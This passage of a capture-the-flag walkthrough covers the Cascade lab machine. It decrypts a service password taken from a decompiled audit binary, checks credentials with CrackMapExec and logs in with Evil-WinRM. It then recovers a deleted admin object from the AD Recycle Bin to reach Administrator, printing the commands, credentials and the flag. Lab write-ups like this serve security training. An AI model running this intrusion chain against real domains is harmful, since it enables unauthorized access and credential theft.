22. ***DotPeek, we reverse engineered the*** `CascAudit.exe` ***password using this awesome tool DotPeek. You have to install and do this on Windows this will not work on Linux.***

```
1. Download from https://www.jetbrains.com/decompiler/download//#section=web-installer
2. Simple to install. Install as administrator on Windows 10.
3. File open navigate to any binary exe,dll, etcetera.
4. In this example we needed the following to decrpyt the password.
..............................
key -> c4scadek3654321
iv -> 1tdyCbYlIx49842
password -> BQO5l5Kj9MdErXx6Q6AGOw==
 5. We get the password from the sqlite3 enumeration.
 6. sqlite> select * from Ldap;
 7. We get the 'key' and 'iv' from reverse engineering CascAudit.exe we got from downloading with smbclient. We
use DotPeek on a Windows 10 machine. Simply install it, agree to the user agreement, then do file >>> open
CascAudit.exe and CascCrypto.dll. Find the iv,key, and password and paste it into cyberchef.org.
```

23. **We see if our credential is good using CrackMapExec.**

```
1. ArkSvc:w3lc0meFr31nd
2. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec winrm 10.10.10.182 -u 'ArkSvc' -p
'w3lc0meFr31nd'
WINRM 10.10.10.182 5985 CASC-DC1  [+] cascade.local\ArkSvc:w3lc0meFr31nd (.Pwn3d!)
```

24. **We log in with Evil-WinRM and start our enumeration to try to gain SYSTEM.**

```
1. ▷ evil-winrm -i 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
2. *Evil-WinRM* PS C:\Users\arksvc\Documents> whoami
cascade\arksvc
```

AD Recycle Bin privilege and how to abuse it.

25. **We did a search earlier in this walk through for `get-adobject`. This Power-Shell 1 liner will allow us to filter for deleted objects in the recycle bin. Your user needs to have recycle bin permission in Active Directory for us to abuse the vulnerability.**

```
1. Google this.
Social Technet get-adobject deleted objects
2. It will take your here.
https://social.msdn.microsoft.com/Forums/vstudio/en-US/6125558b-e85d-4404-a4e4-0c1ef3d5db60/finding-deleted-objects-in-active-directory-using-directoryservices?forum=netfxbcl
4. Apparently the other one is dead and I forgot to copy the one liner. I think I have it in my notes.
5. get-adobject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
6. There is this one liner here. Because arksvc user has the Recycle Bin privilege we can use this power-shell one liner to undelete all the delted objects in the Recycle Bin. The note said to create PScredentials for the new account and put them in Temp. We suscpect that these credentials are still there.
7. Here is the Power-Shell one liner to exfiltrate all the deleted objects in the Recycle Bin.
8. get-adobject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
```

26. **Here is the whole output from the Power-Shell one liner to recover objects from the AD Recycle Bin.**

```
1. *Evil-WinRM* PS C:\Users\arksvc\Desktop> get-adobject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
.....................................................................
Deleted           : True
DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local
Name              : CASC-WS1
                    DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
ObjectClass       : computer
ObjectGUID        : 6d97daa4-2e82-4946-a11e-f91fa18bfabe

Deleted           : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted
Objects,DC=cascade,DC=local
Name              : TempAdmin
                    DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass       : user
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059
2. *Evil-WinRM* PS C:\Users\arksvc\Desktop> get-adobject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *
3. With the '-properties *' flag we can see more verbose output.
```

Admin Credentials

27. **We find a *base64 encoded password* in the output this time when we run the `-properties *` flag.**

```
1. cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
2. ▷ echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
baCT3r1aN00dles
3. Administrator:baCT3r1aN00dles
4. Great now lets check it with CrackMapExec
5. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
SMB         10.10.10.182    445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1         [+] cascade.local\Administrator:baCT3r1aN00dles (.Pwn3d!)
```

28. **Now that we validated the creds with CME lets Evil-WinRM in as Administrator.**

```
1. ▷ evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cascade\administrator
2. *Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
f2ed1416989af2fa5543b372f3e880be
```

Pwn3d!!!